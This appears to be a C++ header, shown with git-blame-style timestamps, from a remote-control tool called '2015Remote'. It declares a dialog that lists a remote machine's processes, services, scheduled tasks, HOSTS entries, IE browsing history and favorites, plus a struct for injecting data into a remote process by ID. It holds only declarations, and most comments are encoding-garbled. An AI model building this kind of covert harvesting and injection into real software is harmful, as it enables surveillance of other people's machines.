2025-06-08 15:38:41 +08:00
|
|
|
|
#include "stdafx.h"
|
|
|
|
|
|
|
|
|
|
|
|
#pragma once
|
|
|
|
|
|
#include <2015RemoteDlg.h>
|
|
|
|
|
|
|
|
|
|
|
|
/////////////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
// CMachineDlg dialog
|
|
|
|
|
|
|
|
|
|
|
|
// TODO: ʵ<><CAB5>IP<49><50>ȡ.
|
2025-06-28 16:50:01 +08:00
|
|
|
|
#include "common/location.h"
|
2025-06-08 15:38:41 +08:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
class CMachineDlg : public DialogBase
|
|
|
|
|
|
{
|
|
|
|
|
|
public:
|
2025-06-29 21:25:59 +08:00
|
|
|
|
CMachineDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
|
2025-06-08 15:38:41 +08:00
|
|
|
|
~CMachineDlg();
|
|
|
|
|
|
|
|
|
|
|
|
enum { IDD = IDD_MACHINE };
|
|
|
|
|
|
CListCtrl m_list;
|
|
|
|
|
|
CTabCtrl m_tab;
|
|
|
|
|
|
|
|
|
|
|
|
void OnReceiveComplete();
|
|
|
|
|
|
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
|
|
|
|
|
|
|
|
|
|
|
protected:
|
|
|
|
|
|
virtual void DoDataExchange(CDataExchange* pDX);
|
|
|
|
|
|
afx_msg void OnClose();
|
|
|
|
|
|
virtual BOOL OnNotify(WPARAM wParam, LPARAM lParam, LRESULT* pResult);
|
|
|
|
|
|
|
|
|
|
|
|
int m_nSortedCol;
|
|
|
|
|
|
bool m_bAscending;
|
|
|
|
|
|
bool m_bIsReceiving;
|
|
|
|
|
|
CMy2015RemoteDlg* m_pMainWnd;
|
|
|
|
|
|
CStatusBar m_wndStatusBar;
|
|
|
|
|
|
IPConverter* m_IPConverter;
|
|
|
|
|
|
CLocker m_Locker;
|
|
|
|
|
|
bool IsReceivingData() {
|
|
|
|
|
|
m_Locker.Lock();
|
|
|
|
|
|
auto r = m_bIsReceiving;
|
|
|
|
|
|
m_Locker.Unlock();
|
|
|
|
|
|
return r;
|
|
|
|
|
|
}
|
|
|
|
|
|
void SetReceivingStatus(bool b) {
|
|
|
|
|
|
m_Locker.Lock();
|
|
|
|
|
|
m_bIsReceiving = b;
|
|
|
|
|
|
m_Locker.Unlock();
|
|
|
|
|
|
}
|
|
|
|
|
|
virtual BOOL OnInitDialog();
|
|
|
|
|
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
|
|
|
|
|
afx_msg void OnDblclkList(NMHDR* pNMHDR, LRESULT* pResult);
|
|
|
|
|
|
afx_msg void OnRclickList(NMHDR* pNMHDR, LRESULT* pResult);
|
|
|
|
|
|
afx_msg void OnSelChangeTab(NMHDR* pNMHDR, LRESULT* pResult);
|
|
|
|
|
|
afx_msg void OnSelChangingTab(NMHDR* pNMHDR, LRESULT* pResult);
|
|
|
|
|
|
afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
afx_msg LRESULT OnWaitMessage(WPARAM wParam, LPARAM lParam);
|
|
|
|
|
|
void SortColumn(int iCol, bool bAsc);
|
|
|
|
|
|
CString oleTime2Str(double time);
|
|
|
|
|
|
void reflush();
|
|
|
|
|
|
|
|
|
|
|
|
DECLARE_MESSAGE_MAP()
|
|
|
|
|
|
public:
|
|
|
|
|
|
void SendToken(BYTE bToken);
|
|
|
|
|
|
void AdjustList();
|
|
|
|
|
|
void OpenInfoDlg();
|
|
|
|
|
|
void SetClipboardText(CString& Data);
|
|
|
|
|
|
CString __MakePriority(DWORD dwPriClass);
|
|
|
|
|
|
void DeleteList();
|
|
|
|
|
|
void ShowProcessList(); //<2F><><EFBFBD><EFBFBD>
|
|
|
|
|
|
void ShowWindowsList();//<2F><><EFBFBD><EFBFBD>
|
|
|
|
|
|
void ShowNetStateList();//<2F><><EFBFBD><EFBFBD>
|
|
|
|
|
|
void ShowSoftWareList();//<2F><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
|
|
|
|
|
void ShowIEHistoryList();//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼
|
|
|
|
|
|
void ShowFavoritesUrlList();//<2F>ղؼ<D5B2>
|
|
|
|
|
|
void ShowServiceList(); //<2F><><EFBFBD><EFBFBD>
|
|
|
|
|
|
void ShowTaskList();//<2F>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
void ShowHostsList();//HOSTS
|
|
|
|
|
|
|
|
|
|
|
|
//<2F><>Ӧ<EFBFBD>˵<EFBFBD>
|
|
|
|
|
|
void ShowProcessList_menu(); //<2F><><EFBFBD><EFBFBD>
|
|
|
|
|
|
void ShowWindowsList_menu();//<2F><><EFBFBD><EFBFBD>
|
|
|
|
|
|
void ShowNetStateList_menu();//<2F><><EFBFBD><EFBFBD>
|
|
|
|
|
|
void ShowSoftWareList_menu();//<2F><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
|
|
|
|
|
void ShowIEHistoryList_menu();//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼
|
|
|
|
|
|
void ShowFavoritesUrlList_menu();//<2F>ղؼ<D5B2>
|
|
|
|
|
|
void ShowServiceList_menu();//<2F><><EFBFBD><EFBFBD>
|
|
|
|
|
|
void ShowTaskList_menu();//<2F>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
void ShowHostsList_menu();//HOSTS
|
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
|
|
struct Browsinghistory {
|
|
|
|
|
|
TCHAR strTime[100];
|
|
|
|
|
|
TCHAR strTitle[1024];
|
|
|
|
|
|
TCHAR strUrl[1024];
|
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
|
|
struct InjectData {
|
|
|
|
|
|
DWORD ExeIsx86;
|
|
|
|
|
|
DWORD mode; //ע<><D7A2>ģʽ
|
|
|
|
|
|
DWORD dwProcessID; //<2F><><EFBFBD><EFBFBD>ID
|
|
|
|
|
|
DWORD datasize; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳߴ<DDB3>
|
|
|
|
|
|
TCHAR strpath[1024]; //Զ<><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
|
|
|
|
|
};
|